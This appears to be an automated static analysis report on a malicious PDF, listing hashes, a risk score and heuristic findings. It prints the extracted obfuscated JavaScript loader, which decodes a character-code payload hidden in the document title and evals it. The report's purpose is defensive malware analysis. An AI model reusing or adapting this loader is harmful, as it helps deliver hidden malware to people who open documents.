Malicious PDF — malware analysis report

Static analysis result for SHA-256 31c68a98adc17fba…

MALICIOUS

PDF

45.0 KB First seen: 2026-05-09
MD5: e3f6a24db210c557a32f1f003552796e SHA-1: bc0ea2b50f5cd5eb3ead37cc9ed57caaa866ed9d SHA-256: 31c68a98adc17fbaef41c7a3ad2f84dbcdf3df5e36ac32608c115af7cb8d2408
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, flagged by multiple heuristics including a high-severity ML classifier. The embedded JavaScript is likely intended to download and execute a second-stage payload, a common technique for delivering malware. The 'test' in the document body is likely a placeholder and does not provide further context.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB13D 471 bytes
SHA-256: 3888b674e5cf6da3ca388577bd5c1dab6b53d84b7105d7886456aa500f699d34
Preview script
First 1,000 lines of the extracted script
qrmb='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w",'v','r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
vuqm=e('ti'+'tle');
s=vuqm.substr(t.length + 8,3)+'str';
q=vuqm[s](1,(1,9));
hcq=e('S'+'tring.fro'+q);
q=vuqm[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	nkoh = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	qrmb += hcq(nkoh);
}
e(qrmb);

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